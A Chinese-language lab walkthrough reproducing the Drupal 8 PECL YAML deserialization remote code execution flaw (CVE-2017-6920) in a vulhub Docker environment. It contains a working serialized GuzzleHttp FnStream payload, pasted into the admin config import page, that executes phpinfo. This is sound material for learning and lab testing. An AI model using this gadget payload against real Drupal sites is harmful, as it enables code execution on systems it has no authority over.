天天看点

Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

声明

好好学习,天天向上

漏洞描述

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

影响范围

8.x的Drupal Core

复现过程

这里使用8.3.0版本

使用vulhub

/app/vulhub-master/drupal/CVE-2017-6920
           

使用docker启动

docker-compose build
docker-compose up -d
           

启动后进入docker,需要改一些东西,不然安装不成功,进入docker后(默认在/var/www/html下),执行

mkdir sites/default/files
cp ./sites/default/default.settings.php ./sites/default/settings.php
chown -R www-data:www-data ../html/
           

这一步需要进入docker里面进行

# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER
           

访问,就不会报错了

http://192.168.239.129:8080
           

将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

1.登录一个管理员账号(可以点用户管理,把自己的管理员角色加上)

2.访问

http://192.168.239.129:8080/admin/config/development/configuration/single/import
           

3.如下图所示,Configuration type 选择 Simple configuration,Configuration name 任意填写,Paste your configuration here 中填写PoC如下:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
           
Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

关闭镜像(每次用完后关闭)

docker-compose down
           

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose build
docker-compose up -d
           

镜像查询(查到的第一列就是ID值)

docker ps -a
           

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash
           

关闭镜像(每次用完后关闭)

docker-compose down
           

继续阅读